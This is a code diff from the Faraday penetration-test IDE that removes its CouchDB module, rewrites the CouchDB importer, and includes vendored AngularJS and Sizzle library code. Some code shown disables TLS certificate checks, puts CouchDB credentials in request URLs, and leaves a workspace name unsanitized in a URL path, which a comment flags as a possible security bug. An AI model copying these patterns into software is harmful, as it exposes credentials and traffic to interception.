19 from server.utils.web import (
20 build_bad_request_response,
21 filter_request_args,
22 get_basic_auth,
23 get_integer_parameter,
24 gzipped,
25 validate_admin_perm,
26 validate_workspace
27 )
28 from server.couchdb import (
29 list_workspaces_as_user,
30 get_workspace
3115 )
3216 from server.api.base import ReadWriteView, AutoSchema
3317
211211 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(hours=12),
212212 })
213213
214 try:
215 storage_path = server.config.storage.path
216 except AttributeError:
214 storage_path = server.config.storage.path
215 if not storage_path:
217216 logger.warn('No storage section or path in the .faraday/server.ini. Setting the default value to .faraday/storage')
218217 storage_path = setup_storage_path()
218
219219 if not DepotManager.get('default'):
220220 if testing:
221221 DepotManager.configure('default', {
+0
-248
server/couchdb.py less more
0 # Faraday Penetration Test IDE
1 # Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/)
2 # See the file 'doc/LICENSE' for the license information
3
4 import restkit
5 import server.utils.logger
6 import requests
7
8 from couchdbkit import Server
9 from couchdbkit.exceptions import ResourceNotFound
10 from couchdbkit.resource import CouchdbResource
11 from restkit.errors import RequestFailed, ResourceError
12 from managers.all import ViewsManager
13 from server import config
14
15
16 logger = server.utils.logger.get_logger(__name__)
17
18
19 class CouchDBServer(object):
20 def __init__(self):
21 self.__get_server_uri()
22 self.__authenticate()
23 self.__connect()
24
25 def __get_server_uri(self):
26 couchdb_port = config.couchdb.port if config.couchdb.protocol == 'http' else config.couchdb.ssl_port
27 self.__couchdb_uri = "%s://%s:%s" % (config.couchdb.protocol, config.couchdb.host, couchdb_port)
28
29 def __authenticate(self):
30 user, passwd = config.couchdb.user, config.couchdb.password
31 if all((user, passwd)):
32 auth = restkit.BasicAuth(user, passwd)
33 self.__auth_resource = CouchdbResource(filters=[auth])
34 else:
35 self.__auth_resource = None
36
37 def __connect(self):
38 self.__server = Server(uri=self.__couchdb_uri, resource_instance=self.__auth_resource)
39
40 def list_workspaces(self):
41 return filter(is_usable_workspace, self.__server.all_dbs())
42
43 def get_workspace_handler(self, ws_name):
44 return self.__server.get_db(ws_name)
45
46 def get_or_create_db(self, ws_name):
47 return self.__server.get_or_create_db(ws_name)
48
49 def create_db(self, ws_name):
50 return self.__server.create_db(ws_name)
51
52 def delete_db(self, ws_name):
53 return self.__server.delete_db(ws_name)
54
55
56 class CouchDBWorkspace(object):
57 def __init__(self, ws_name, couchdb_server_conn=None):
58 self.__ws_name = ws_name
59 self.__server = couchdb_server_conn or CouchDBServer()
60 self.__get_workspace()
61
62 def __get_workspace(self):
63 self.__workspace = self.__server.get_workspace_handler(self.__ws_name)
64
65 def get_info(self):
66 return self.get_document(self.__ws_name)
67
68 def get_last_seq(self):
69 return self.__workspace.info().get('update_seq', 0) # 'update_seq' / 'committed_update_seq'
70
71 def get_view(self, view_name):
72 return self.__workspace.view(view_name)
73
74 def get_document(self, doc_id):
75 try:
76 return self.__workspace.get(doc_id)
77 except ResourceNotFound:
78 logger.warning(u"Document {} was not found in CouchDB for Workspace {}".format(doc_id, self.__ws_name))
79 return {}
80
81 def get_total_amount_of_documents(self):
82 return self.__get_all_docs(0).total_rows
83
84 def get_documents(self, per_request=100):
85 total_rows = self.get_total_amount_of_documents()
86 offset = 0
87
88 while offset < total_rows:
89 for doc in self.__get_all_docs(per_request, offset=offset):
90 yield doc
91 offset += per_request
92
93 def get_documents_starting_with_id(self, starting_id):
94 startkey = '"{0}"'.format(starting_id)
95 endkey = '"{0}.z"'.format(starting_id)
96 return self.__workspace.all_docs(include_docs=True, start_key=startkey, end_key=endkey)
97
98 def __get_all_docs(self, limit, offset=0):
99 return self.__workspace.all_docs(include_docs=True, limit=limit, skip=offset)
100
101 def save_doc(self, document):
102 return self.__workspace.save_doc(document, encode_attachments=False)
103
104 def delete_doc(self, document):
105 return self.__workspace.delete_doc(document)
106
107 def create_doc(self, doc_content):
108 # Remember to add "_id" in the doc if you want
109 # to specify an arbitrary id
110 return self.__workspace.save_doc(doc_content)
111
112 def put_attachment(self, doc, content, name=None, content_type=None, content_length=None):
113 return self.__workspace.put_attachment(doc, content, name, content_type, content_length)
114
115 def fetch_attachment(self, doc, name):
116 return self.__workspace.fetch_attachment(doc, name)
117
118
119 def get_couchdb_url():
120 couchdb_port = config.couchdb.port if config.couchdb.protocol == 'http' else config.couchdb.ssl_port
121 couchdb_url = "%s://%s:%s" % (config.couchdb.protocol, config.couchdb.host, couchdb_port)
122 return couchdb_url
123
124
125 def get_auth_info():
126 user, passwd = config.couchdb.user, config.couchdb.password
127 if (all((user, passwd))):
128 return (user, passwd)
129 else:
130 return None
131
132
133 def is_usable_workspace(ws_name):
134 return not ws_name.startswith('_') and ws_name not in config.WS_BLACKLIST
135
136
137 def list_workspaces_as_user(cookies, credentials=None):
138 all_dbs_url = get_couchdb_url() + '/_all_dbs'
139 response = requests.get(all_dbs_url, verify=False, cookies=cookies, auth=credentials)
140 if response.status_code != requests.codes.ok:
141 raise Exception("Couldn't obtain workspaces list")
142
143 def is_workspace_accessible_for_user(ws_name):
144 return is_usable_workspace(ws_name) and\
145 has_permissions_for(ws_name, cookies, credentials)
146
147 workspaces = filter(is_workspace_accessible_for_user, response.json())
148 return { 'workspaces': workspaces }
149
150
151 def server_has_access_to(ws_name):
152 return has_permissions_for(ws_name, credentials=get_auth_info())
153
154
155 def get_workspace(workspace_name, cookies, credentials):
156 workspace = _get_workspace_doc(workspace_name, cookies, credentials).json()
157 ws_info_url = get_couchdb_url() + ('/%s' % (workspace_name))
158 response = requests.get(ws_info_url, verify=False, cookies=cookies, auth=credentials)
159 return workspace
160
161
162 def _get_workspace_doc(workspace_name, cookies, credentials):
163 # TODO: SANITIZE WORKSPACE NAME IF NECESSARY. POSSIBLE SECURITY BUG
164 ws_url = get_couchdb_url() + ('/%s/%s' % (workspace_name, workspace_name))
165 return requests.get(ws_url, verify=False, cookies=cookies, auth=credentials)
166
167
168 def has_permissions_for(workspace_name, cookies=None, credentials=None):
169 response = _get_workspace_doc(workspace_name, cookies, credentials)
170 # Even if the document doesn't exist, CouchDB will
171 # respond 401 if it doesn't have access to it
172 return (response.status_code != requests.codes.unauthorized)
173
174
175 def get_user_from_session(cookies=None, credentials=None):
176 session_url = "%s/_session" % get_couchdb_url()
177 res = requests.get(session_url, cookies=cookies, auth=credentials)
178 if res.ok:
179 user = res.json()['userCtx']['name']
180 return user if user else ''
181
182
183 def push_reports():
184 vmanager = ViewsManager()
185 try:
186 logger.debug(u'Pushing Reports DB into CouchDB')
187 couchdb_server = CouchDBServer()
188 workspace = couchdb_server.get_or_create_db('reports')
189 vmanager.addView(config.REPORTS_VIEWS_DIR, workspace)
190 except:
191 import traceback
192 logger.debug(traceback.format_exc())
193 logger.warning("Reports database couldn't be uploaded. You need to be an admin to do it")
194
195
196 def upload_views(workspace):
197 """ Upload views with couchdb behind of ViewsManager """
198 vmanager = ViewsManager()
199 try:
200 vmanager.addViews(workspace)
201 except:
202 import traceback
203 logger.debug(traceback.format_exc())
204 logger.warning("Views documents couldn't be uploaded. You need to be an admin to do it")
205
206
207 def create_workspace(workspace):
208
209 couch_server = CouchDBServer()
210 couch_server.create_db(workspace.get('name'))
211
212 ws = couch_server.get_workspace_handler(workspace.get('name'))
213 upload_views(ws)
214
215 try:
216 response = ws.save_doc(workspace)
217 except (RequestFailed, ResourceError):
218 # create an error
219 response = {'ok': False}
220
221 success = response.get('ok', False)
222 if not success:
223 # if the document was not create, delete db
224 couch_server.delete_db(workspace.get('name'))
225
226 return success
227
228
229 def update_workspace(workspace):
230 couch_server = CouchDBServer()
231 ws = couch_server.get_workspace_handler(workspace.get('name'))
232
233 try:
234 response = ws.save_doc(workspace)
235 except (RequestFailed, ResourceError):
236 # create an error
237 response = {'ok': False}
238 return response.get('ok', False)
239
240
241 def delete_workspace(ws_name):
242 couch_server = CouchDBServer()
243 try:
244 couch_server.delete_db(ws_name)
245 except:
246 return False
247 return True
11 # Faraday Penetration Test IDE
22 # Copyright (C) 2016 Infobyte LLC (http://www.infobytesec.com/)
33 # See the file 'doc/LICENSE' for the license information
4 from base64 import b64decode
54 import string
65 from random import SystemRandom
76
3332
3433 from IPy import IP
3534 from passlib.utils.binary import ab64_encode
36 from restkit.errors import RequestError, Unauthorized
3735 from tqdm import tqdm
3836 import server.config
3937
40 import server.couchdb
4138 import server.models
4239 import server.utils.logger
43 from server.fields import FaradayUploadedFile
4440 from server.models import (
4541 db,
4642 Command,
6864 Workspace,
6965 WorkspacePermission,
7066 File,
71 SQLAlchemy,
7267 )
7368 from server.utils import invalid_chars
7469 from server.utils.database import get_or_create
13341329 product=document.get('product'),
13351330 start_date=datetime.datetime.strptime(document['start'], "%Y-%m-%dT%H:%M:%S.%fZ"),
13361331 end_date=datetime.datetime.strptime(document['end'], "%Y-%m-%dT%H:%M:%S.%fZ"),
1337 notes=document.get('notes'),
1338 type=document.get('lictype')
1339 )
1332 )
1333 license_obj.notes=document.get('notes')
1334 license_obj.type=document.get('lictype')
13401335
13411336 class ImportCouchDB():
13421337 def _open_couchdb_conn(self):
1338
1339 self.couch_url = "http://{username}:{password}@{hostname}:{port}".format(
1340 username=server.config.couchdb.user,
1341 password=server.config.couchdb.password,
1342 hostname=server.config.couchdb.host,
1343 port=server.config.couchdb.port,
1344 )
1345
13431346 try:
1344 couchdb_server_conn = server.couchdb.CouchDBServer()
1345 workspaces_list = couchdb_server_conn.list_workspaces()
1346
1347 except RequestError:
1348 print(u"CouchDB is not running at {}. Check faraday-server's"\
1349 " configuration and make sure CouchDB is running".format(
1350 server.couchdb.get_couchdb_url()))
1351 logger.error(u'Please start CouchDB and re-execute the importer with: \n\n --> python manage.py import_from_couchdb <--')
1347 workspaces_list = requests.get('{0}/_all_dbs'.format(self.couch_url)).json()
1348 except Exception as ex:
1349 print(ex)
13521350 sys.exit(1)
13531351
1354 except Unauthorized:
1355 print(u"Unauthorized access to CouchDB. Make sure faraday-server's"\
1356 " configuration file has CouchDB admin's credentials set")
1357 sys.exit(1)
1358
1359 return couchdb_server_conn, workspaces_list
1352 return workspaces_list
1353
1354 def has_access_to(self, workspace_name):
1355 response = requests.get('{0}/{1}/_security'.format(self.couch_url, workspace_name))
1356 if response.status_code == 401:
1357 return False
1358 return True
13601359
13611360 def run(self):
13621361 """
13631362 Main entry point for couchdb import
13641363 """
1365 couchdb_server_conn, workspaces_list = self._open_couchdb_conn()
1364 workspaces_list = self._open_couchdb_conn()
13661365 license_import = ImportLicense()
13671366 license_import.run()
13681367 vuln_templates_import = ImportVulnerabilityTemplates()
13741373 for workspace_name in workspaces_list:
13751374 logger.debug(u'Setting up workspace {}'.format(workspace_name))
13761375
1377 if not server.couchdb.server_has_access_to(workspace_name):
1376 if not self.has_access_to(workspace_name):
13781377 logger.error(u"Unauthorized access to CouchDB. Make sure faraday-server's"\
13791378 " configuration file has CouchDB admin's credentials set")
13801379 sys.exit(1)
157157 return False
158158 else:
159159 raise err
160
160
161 remove_pid_file(port)
161162 return True
162163
163164 def is_server_running(port):
164165 """Returns server PID if it is running. Otherwise returns None"""
165166 logger = get_logger(__name__)
166
167167 pid = get_server_pid(port)
168168 if pid is None:
169169 return None
99 from flask import after_this_request, request, abort, jsonify
1010
1111 from server.models import db, Workspace
12 import server.couchdb
1312 from server import config
1413
1514
8988 return response
9089
9190
92 def validate_workspace(workspace_name, timeout_sync=0.1):
93 if not db.session.query(Workspace).filter_by(name=workspace_name).first():
94 abort(404)
95
96 if not server.couchdb.has_permissions_for(workspace_name, request.cookies, get_basic_auth()):
97 abort(401)
98
99
100 def validate_database(workspace_name):
101 if server.database.is_valid_workspace(workspace_name):
102 # 412: Precondition failed, since database already exists
103 abort(412)
104
105
10691 def validate_admin_perm():
10792 def __get_server_sessions_uri():
10893 couchdb_port = config.couchdb.port if config.couchdb.protocol == 'http' else config.couchdb.ssl_port
140140 <script type="text/javascript" src="scripts/statusReport/controllers/modalEdit.js"></script>
141141 <script type="text/javascript" src="scripts/statusReport/controllers/modalNew.js"></script>
142142 <script type="text/javascript" src="scripts/statusReport/directives/textCollapse.js"></script>
143 <script type="text/javascript" src="scripts/statusReport/directives/appendSearchParam.js"></script>
143144 <script type="text/javascript" src="scripts/statusReport/providers/target.js"></script>
144145 <script type="text/javascript" src="scripts/statusReport/providers/reference.js"></script>
145146 <script type="text/javascript" src="scripts/vulns/providers/vuln.js"></script>
0
1 /**
2 * The Selection Model module
3 *
4 * The ngRepeat companion. This module exists to give developers a lightweight
5 * option for easily managing selections in lists and tables. It also aims to
6 * play nicely with native angular features so you can leverage existing tools
7 * for filtering, sorting, animations, etc.
8 *
9 * @package selectionModel
10 */
11
12 angular.module('selectionModel', []);
0
1 /**
2 * The Selection Model module
3 *
4 * The ngRepeat companion. This module exists to give developers a lightweight
5 * option for easily managing selections in lists and tables. It also aims to
6 * play nicely with native angular features so you can leverage existing tools
7 * for filtering, sorting, animations, etc.
8 *
9 * @package selectionModel
10 */
11
12 angular.module('selectionModel', []);
1313
1414
1515 /**
456456 }
457457 ]);
458458
459
460 /**
461 * Default options for the selection model directive
462 *
463 *
464 *
465 * @package selectionModel
466 */
467
468 angular.module('selectionModel').provider('selectionModelOptions', [function() {
469 'use strict';
470
471 var options = {
472 selectedAttribute: 'selected',
473 selectedClass: 'selected',
474 type: 'basic',
475 mode: 'single',
476 cleanupStrategy: 'none'
477 };
478
479 this.set = function(userOpts) {
480 angular.extend(options, userOpts);
481 };
482
483 this.$get = function() {
484 var exports = {
485 get: function() {
486 return angular.copy(options);
487 }
488 };
489 return exports;
490 };
491
492
493 }]);
494
495
496 angular.module('selectionModel').service('selectionStack', function() {
497 'use strict';
498 var exports = {}
499 , maxSize = 1000
500 , stacks = {};
501
502 exports.push = function(id, item) {
503 if(!stacks.hasOwnProperty(id)) {
504 stacks[id] = [];
505 }
506 var stack = stacks[id];
507 stack.push(item);
508 while(stack.length > maxSize) {
509 stack.shift();
510 }
511 return stack.length;
512 };
513
514 exports.pop = function(id) {
515 if(!stacks.hasOwnProperty(id)) {
516 stacks[id] = [];
517 }
518 var stack = stacks[id];
519 return stack.pop();
520 };
521
522 exports.peek = function(id) {
523 if(!stacks.hasOwnProperty(id)) {
524 stacks[id] = [];
525 }
526 var stack = stacks[id];
527 return stack.length ? stack[stack.length - 1] : undefined;
528 };
529
530 return exports;
531 });
459
460 /**
461 * Default options for the selection model directive
462 *
463 *
464 *
465 * @package selectionModel
466 */
467
468 angular.module('selectionModel').provider('selectionModelOptions', [function() {
469 'use strict';
470
471 var options = {
472 selectedAttribute: 'selected',
473 selectedClass: 'selected',
474 type: 'basic',
475 mode: 'single',
476 cleanupStrategy: 'none'
477 };
478
479 this.set = function(userOpts) {
480 angular.extend(options, userOpts);
481 };
482
483 this.$get = function() {
484 var exports = {
485 get: function() {
486 return angular.copy(options);
487 }
488 };
489 return exports;
490 };
491
492
493 }]);
494
495
496 angular.module('selectionModel').service('selectionStack', function() {
497 'use strict';
498 var exports = {}
499 , maxSize = 1000
500 , stacks = {};
501
502 exports.push = function(id, item) {
503 if(!stacks.hasOwnProperty(id)) {
504 stacks[id] = [];
505 }
506 var stack = stacks[id];
507 stack.push(item);
508 while(stack.length > maxSize) {
509 stack.shift();
510 }
511 return stack.length;
512 };
513
514 exports.pop = function(id) {
515 if(!stacks.hasOwnProperty(id)) {
516 stacks[id] = [];
517 }
518 var stack = stacks[id];
519 return stack.pop();
520 };
521
522 exports.peek = function(id) {
523 if(!stacks.hasOwnProperty(id)) {
524 stacks[id] = [];
525 }
526 var stack = stacks[id];
527 return stack.length ? stack[stack.length - 1] : undefined;
528 };
529
530 return exports;
531 });
532532
533533 /*jshint bitwise:false */
534534
36593659 jQuery.event.fixHooks[ name ] = jQuery.event.mouseHooks;
36603660 }
36613661 });
3662 /*!
3663 * Sizzle CSS Selector Engine
3664 * Copyright 2012 jQuery Foundation and other contributors
3665 * Released under the MIT license
3666 * http://sizzlejs.com/
3667 */
3668 (function( window, undefined ) {
3669
3670 var cachedruns,
3671 assertGetIdNotName,
3672 Expr,
3673 getText,
3674 isXML,
3675 contains,
3676 compile,
3677 sortOrder,
3678 hasDuplicate,
3679 outermostContext,
3680
3681 baseHasDuplicate = true,
3682 strundefined = "undefined",
3683
3684 expando = ( "sizcache" + Math.random() ).replace( ".", "" ),
3685
3686 Token = String,
3687 document = window.document,
3688 docElem = document.documentElement,
3689 dirruns = 0,
3690 done = 0,
3691 pop = [].pop,
3692 push = [].push,
3693 slice = [].slice,
3694 // Use a stripped-down indexOf if a native one is unavailable
3695 indexOf = [].indexOf || function( elem ) {
3696 var i = 0,
3697 len = this.length;
3698 for ( ; i < len; i++ ) {
3699 if ( this[i] === elem ) {
3700 return i;
3701 }
3702 }
3703 return -1;
3704 },
3705
3706 // Augment a function for special use by Sizzle
3707 markFunction = function( fn, value ) {
3708 fn[ expando ] = value == null || value;
3709 return fn;
3710 },
3711
3712 createCache = function() {
3713 var cache = {},
3714 keys = [];
3715
3716 return markFunction(function( key, value ) {
3717 // Only keep the most recent entries
3718 if ( keys.push( key ) > Expr.cacheLength ) {
3719 delete cache[ keys.shift() ];
3720 }
3721
3722 // Retrieve with (key + " ") to avoid collision with native Object.prototype properties (see Issue #157)
3723 return (cache[ key + " " ] = value);
3724 }, cache );
3725 },
3726
3727 classCache = createCache(),
3728 tokenCache = createCache(),
3729 compilerCache = createCache(),
3730
3731 // Regex
3732
3733 // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
3734 whitespace = "[\\x20\\t\\r\\n\\f]",
3735 // http://www.w3.org/TR/css3-syntax/#characters
3736 characterEncoding = "(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",
3737
3738 // Loosely modeled on CSS identifier characters
3739 // An unquoted value should be a CSS identifier (http://www.w3.org/TR/css3-selectors/#attribute-selectors)
3740 // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
3741 identifier = characterEncoding.replace( "w", "w#" ),
3742
3743 // Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors
3744 operators = "([*^$|!~]?=)",
3745 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
3746 "*(?:" + operators + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",
3747
3748 // Prefer arguments not in parens/brackets,
3749 // then attribute selectors and non-pseudos (denoted by :),
3750 // then anything else
3751 // These preferences are here to reduce the number of selectors
3752 // needing tokenize in the PSEUDO preFilter
3753 pseudos = ":(" + characterEncoding + ")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:" + attributes + ")|[^:]|\\\\.)*|.*))\\)|)",
3754
3755 // For matchExpr.POS and matchExpr.needsContext
3756 pos = ":(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace +
3757 "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)",
3758
3759 // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
3760 rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
3761
3762 rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
3763 rcombinators = new RegExp( "^" + whitespace + "*([\\x20\\t\\r\\n\\f>+~])" + whitespace + "*" ),
3764 rpseudo = new RegExp( pseudos ),
3765
3766 // Easily-parseable/retrievable ID or TAG or CLASS selectors
3767 rquickExpr = /^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,
3768
3769 rnot = /^:not/,
3770 rsibling = /[\x20\t\r\n\f]*[+~]/,
3771 rendsWithNot = /:not\($/,
3772
3773 rheader = /h\d/i,
3774 rinputs = /input|select|textarea|button/i,
3775
3776 rbackslash = /\\(?!\\)/g,
3777
3778 matchExpr = {
3779 "ID": new RegExp( "^#(" + characterEncoding + ")" ),
3780 "CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
3781 "NAME": new RegExp( "^\\[name=['\"]?(" + characterEncoding + ")['\"]?\\]" ),
3782 "TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ),
3783 "ATTR": new RegExp( "^" + attributes ),
3784 "PSEUDO": new RegExp( "^" + pseudos ),
3785 "POS": new RegExp( pos, "i" ),
3786 "CHILD": new RegExp( "^:(only|nth|first|last)-child(?:\\(" + whitespace +
3787 "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
3788 "*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
3789 // For use in libraries implementing .is()
3790 "needsContext": new RegExp( "^" + whitespace + "*[>+~]|" + pos, "i" )
3791 },
3792
3793 // Support
3794
3795 // Used for testing something on an element
3796 assert = function( fn ) {
3797 var div = document.createElement("div");
3798
3799 try {
3800 return fn( div );
3801 } catch (e) {
3802 return false;
3803 } finally {
3804 // release memory in IE
3805 div = null;
3806 }
3807 },
3808
3809 // Check if getElementsByTagName("*") returns only elements
3810 assertTagNameNoComments = assert(function( div ) {
3811 div.appendChild( document.createComment("") );
3812 return !div.getElementsByTagName("*").length;
3813 }),
3814
3815 // Check if getAttribute returns normalized href attributes
3816 assertHrefNotNormalized = assert(function( div ) {
3817 div.innerHTML = "<a href='#'></a>";
3818 return div.firstChild && typeof div.firstChild.getAttribute !== strundefined &&
3819 div.firstChild.getAttribute("href") === "#";
3820 }),
3821
3822 // Check if attributes should be retrieved by attribute nodes
3823 assertAttributes = assert(function( div ) {
3824 div.innerHTML = "<select></select>";
3825 var type = typeof div.lastChild.getAttribute("multiple");
3826 // IE8 returns a string for some attributes even when not present
3827 return type !== "boolean" && type !== "string";
3828 }),
3829
3830 // Check if getElementsByClassName can be trusted
3831 assertUsableClassName = assert(function( div ) {
3832 // Opera can't find a second classname (in 9.6)
3833 div.innerHTML = "<div class='hidden e'></div><div class='hidden'></div>";
3834 if ( !div.getElementsByClassName || !div.getElementsByClassName("e").length ) {
3835 return false;
3836 }
3837
3838 // Safari 3.2 caches class attributes and doesn't catch changes
3839 div.lastChild.className = "e";
3840 return div.getElementsByClassName("e").length === 2;
3841 }),
3842
3843 // Check if getElementById returns elements by name
3844 // Check if getElementsByName privileges form controls or returns elements by ID
3845 assertUsableName = assert(function( div ) {
3846 // Inject content
3847 div.id = expando + 0;
3848 div.innerHTML = "<a name='" + expando + "'></a><div name='" + expando + "'></div>";
3849 docElem.insertBefore( div, docElem.firstChild );
3850
3851 // Test
3852 var pass = document.getElementsByName &&
3853 // buggy browsers will return fewer than the correct 2
3854 document.getElementsByName( expando ).length === 2 +
3855 // buggy browsers will return more than the correct 0
3856 document.getElementsByName( expando + 0 ).length;
3857 assertGetIdNotName = !document.getElementById( expando );
3858
3859 // Cleanup
3860 docElem.removeChild( div );
3861
3862 return pass;
3863 });
3864
3865 // If slice is not available, provide a backup
3866 try {
3867 slice.call( docElem.childNodes, 0 )[0].nodeType;
3868 } catch ( e ) {
3869 slice = function( i ) {
3870 var elem,
3871 results = [];
3872 for ( ; (elem = this[i]); i++ ) {
3873 results.push( elem );
3874 }
3875 return results;
3876 };
3877 }
3878
3879 function Sizzle( selector, context, results, seed ) {
3880 results = results || [];
3881 context = context || document;
3882 var match, elem, xml, m,
3883 nodeType = context.nodeType;
3884
3885 if ( !selector || typeof selector !== "string" ) {
3886 return results;
3887 }
3888
3889 if ( nodeType !== 1 && nodeType !== 9 ) {
3890 return [];
3891 }
3892
3893 xml = isXML( context );
3894
3895 if ( !xml && !seed ) {
3896 if ( (match = rquickExpr.exec( selector )) ) {
3897 // Speed-up: Sizzle("#ID")
3898 if ( (m = match[1]) ) {
3899 if ( nodeType === 9 ) {
3900 elem = context.getElementById( m );
3901 // Check parentNode to catch when Blackberry 4.6 returns
3902 // nodes that are no longer in the document #6963
3903 if ( elem && elem.parentNode ) {
3904 // Handle the case where IE, Opera, and Webkit return items
3905 // by name instead of ID
3906 if ( elem.id === m ) {
3907 results.push( elem );
3908 return results;
3909 }
3910 } else {
3911 return results;
3912 }
3913 } else {
3914 // Context is not a document
3915 if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
3916 contains( context, elem ) && elem.id === m ) {
3917 results.push( elem );
3918 return results;
3919 }
3920 }
3921
3922 // Speed-up: Sizzle("TAG")
3923 } else if ( match[2] ) {
3924 push.apply( results, slice.call(context.getElementsByTagName( selector ), 0) );
3925 return results;
3926
3927 // Speed-up: Sizzle(".CLASS")
3928 } else if ( (m = match[3]) && assertUsableClassName && context.getElementsByClassName ) {
3929 push.apply( results, slice.call(context.getElementsByClassName( m ), 0) );
3930 return results;
3931 }
3932 }
3933 }
3934
3935 // All others
3936 return select( selector.replace( rtrim, "$1" ), context, results, seed, xml );
3937 }
3938
3939 Sizzle.matches = function( expr, elements ) {
3940 return Sizzle( expr, null, null, elements );
3941 };
3942
3943 Sizzle.matchesSelector = function( elem, expr ) {
3944 return Sizzle( expr, null, null, [ elem ] ).length > 0;
3945 };
3946
3947 // Returns a function to use in pseudos for input types
3948 function createInputPseudo( type ) {
3949 return function( elem ) {
3950 var name = elem.nodeName.toLowerCase();
3951 return name === "input" && elem.type === type;
3952 };
3953 }
3954
3955 // Returns a function to use in pseudos for buttons
3956 function createButtonPseudo( type ) {
3957 return function( elem ) {
3958 var name = elem.nodeName.toLowerCase();
3959 return (name === "input" || name === "button") && elem.type === type;
3960 };
3961 }
3962
3963 // Returns a function to use in pseudos for positionals
3964 function createPositionalPseudo( fn ) {
3965 return markFunction(function( argument ) {
3966 argument = +argument;
3967 return markFunction(function( seed, matches ) {
3968 var j,
3969 matchIndexes = fn( [], seed.length, argument ),
3970 i = matchIndexes.length;
3971
3972 // Match elements found at the specified indexes
3973 while ( i-- ) {
3974 if ( seed[ (j = matchIndexes[i]) ] ) {
3975 seed[j] = !(matches[j] = seed[j]);
3976 }
3977 }
3978 });
3979 });
3980 }
3981
3982 /**
3983 * Utility function for retrieving the text value of an array of DOM nodes
3984 * @param {Array|Element} elem
3985 */
3986 getText = Sizzle.getText = function( elem ) {
3987 var node,
3988 ret = "",
3989 i = 0,
3990 nodeType = elem.nodeType;
3991
3992 if ( nodeType ) {
3993 if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
3994 // Use textContent for elements
3995 // innerText usage removed for consistency of new lines (see #11153)
3996 if ( typeof elem.textContent === "string" ) {
3997 return elem.textContent;
3998 } else {
3999 // Traverse its children
4000 for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
4001 ret += getText( elem );
4002 }
4003 }
4004 } else if ( nodeType === 3 || nodeType === 4 ) {
4005 return elem.nodeValue;
4006 }
4007 // Do not include comment or processing instruction nodes
4008 } else {
4009
4010 // If no nodeType, this is expected to be an array
4011 for ( ; (node = elem[i]); i++ ) {
4012 // Do not traverse comment nodes
4013 ret += getText( node );
4014 }
4015 }
4016 return ret;
4017 };
4018
4019 isXML = Sizzle.isXML = function( elem ) {
4020 // documentElement is verified for cases where it doesn't yet exist
4021 // (such as loading iframes in IE - #4833)
4022 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
4023 return documentElement ? documentElement.nodeName !== "HTML" : false;
4024 };
4025
4026 // Element contains another
4027 contains = Sizzle.contains = docElem.contains ?
4028 function( a, b ) {
4029 var adown = a.nodeType === 9 ? a.documentElement : a,
4030 bup = b && b.parentNode;
4031 return a === bup || !!( bup && bup.nodeType === 1 && adown.contains && adown.contains(bup) );
4032 } :
4033 docElem.compareDocumentPosition ?
4034 function( a, b ) {
4035 return b && !!( a.compareDocumentPosition( b ) & 16 );
4036 } :
4037 function( a, b ) {
4038 while ( (b = b.parentNode) ) {
4039 if ( b === a ) {
4040 return true;
4041 }
4042 }
4043 return false;
4044 };
4045
4046 Sizzle.attr = function( elem, name ) {
4047 var val,
4048 xml = isXML( elem );
4049
4050 if ( !xml ) {
4051 name = name.toLowerCase();
4052 }
4053 if ( (val = Expr.attrHandle[ name ]) ) {
4054 return val( elem );
4055 }
4056 if ( xml || assertAttributes ) {
4057 return elem.getAttribute( name );
4058 }
4059 val = elem.getAttributeNode( name );
4060 return val ?
4061 typeof elem[ name ] === "boolean" ?
4062 elem[ name ] ? name : null :
4063 val.specified ? val.value : null :
4064 null;
4065 };
4066
4067 Expr = Sizzle.selectors = {
4068
4069 // Can be adjusted by the user
4070 cacheLength: 50,
4071
4072 createPseudo: markFunction,
4073
4074 match: matchExpr,
4075
4076 // IE6/7 return a modified href
4077 attrHandle: assertHrefNotNormalized ?
4078 {} :
4079 {
4080 "href": function( elem ) {
4081 return elem.getAttribute( "href", 2 );
4082 },
4083 "type": function( elem ) {
4084 return elem.getAttribute("type");
4085 }
4086 },
4087
4088 find: {
4089 "ID": assertGetIdNotName ?
4090 function( id, context, xml ) {
4091 if ( typeof context.getElementById !== strundefined && !xml ) {
4092 var m = context.getElementById( id );
4093 // Check parentNode to catch when Blackberry 4.6 returns
4094 // nodes that are no longer in the document #6963
4095 return m && m.parentNode ? [m] : [];
4096 }
4097 } :
4098 function( id, context, xml ) {
4099 if ( typeof context.getElementById !== strundefined && !xml ) {
4100 var m = context.getElementById( id );
4101
4102 return m ?
4103 m.id === id || typeof m.getAttributeNode !== strundefined && m.getAttributeNode("id").value === id ?
4104 [m] :
4105 undefined :
4106 [];
4107 }
4108 },
4109
4110 "TAG": assertTagNameNoComments ?
4111 function( tag, context ) {
4112 if ( typeof context.getElementsByTagName !== strundefined ) {
4113 return context.getElementsByTagName( tag );
4114 }
4115 } :
4116 function( tag, context ) {
4117 var results = context.getElementsByTagName( tag );
4118
4119 // Filter out possible comments
4120 if ( tag === "*" ) {
4121 var elem,
4122 tmp = [],
4123 i = 0;
4124
